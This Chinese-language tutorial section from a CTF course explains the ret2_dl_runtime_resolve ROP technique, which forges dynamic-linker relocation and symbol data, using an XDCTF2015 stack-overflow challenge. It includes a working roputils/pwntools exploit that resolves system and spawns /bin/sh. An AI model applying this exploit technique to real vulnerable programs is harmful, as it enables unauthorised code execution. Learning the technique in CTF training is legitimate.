ret2_dl_runtime_resolve ( 待修改 )
本章節其實難度不大,只不過會有一些更底層的原理,大家最重要的是確保自己的基礎知識體系牢固,這樣在學習的過程中才不會有太大的困難。最好的方法就是自己去單步跟一個程序,了解動態鏈接和延遲綁定機制,不要怕麻煩,最后的收獲也是很大的。
這個棧溢出利用技巧其實還是ROP,同樣可以繞過NX和ASLR保護。但是,這個攻擊更適于一些比較簡單的棧溢出的情況,但同時又難以泄露獲取更多信息的情況下。
要想弄懂這個ROP利用技巧,需要首先理解ELF文件的基本結構,以及動態鏈接的基本過程,這個在之前我們都有講過,如果在學習的時候不是太理解,需要再看看前面的基礎知識。
在linux中是利用_dl_runtime_resolve(link_map_obj, reloc_index)來對動態鏈接的函數進行重定位的。我們就可以控制相應的參數以及其對應地址的內容來控制解析的函數。
具體利用方式如下
- 控制程序執行dl_resolve函數
- 給定Link_map以及index兩個參數。
- 當然我們可以直接給定 plt0對應的匯編代碼,這時,我們就只需要一個index就足夠了。
- 控制index的大小,以便于指向自己所控制的區域,從而偽造一個指定的重定位表項。
- 偽造重定位表項,使得重定位表項所指的符號也在自己可以控制的范圍內。
- 偽造符號內容,使得符號對應的名稱也在自己可以控制的范圍內。
例題
鏈接: https://pan.baidu.com/s/1HU2v-QUQFmJ9EjMgdSh8AQ 密碼: o1cs
題目源碼如下
int __cdecl main(int a1)
{
size_t v1; // eax
char buf[4]; // [esp+0h] [ebp-6Ch]
char v4; // [esp+18h] [ebp-54h]
int *v5; // [esp+64h] [ebp-8h]
v5 = &a1;
strcpy(buf, "Welcome to XDCTF2015~!\n");
memset(&v4, 0, 0x4Cu);
setbuf(stdout, buf);
v1 = strlen(buf);
write(1, buf, v1);
vuln();
return 0;
}
ssize_t vuln()
{
char buf[108]; // [esp+Ch] [ebp-6Ch]
setbuf(stdin, buf);
return read(0, buf, 256u); //棧溢出
}
明顯的棧溢出,但是沒給libc,ROPgadget也少,所以要用ret2dl-resolve。
exp
from roputils import *
from pwn import process
from pwn import gdb
from pwn import context
r = process('./main')
context.log_level = 'debug'
r.recv()
rop = ROP('./main')
offset = 112
bss_base = rop.section('.bss')
buf = rop.fill(offset)
buf += rop.call('read', 0, bss_base, 100)
## used to call dl_Resolve()
buf += rop.dl_resolve_call(bss_base + 20, bss_base)
r.send(buf)
buf = rop.string('/bin/sh')
buf += rop.fill(20, buf)
## used to make faking data, such relocation, Symbol, Str
buf += rop.dl_resolve_data(bss_base + 20, 'system')
buf += rop.fill(100, buf)
r.send(buf)
r.interactive()
這里的roputils模塊是python2的,大家需要用2to3工具轉換成python3格式的。
參考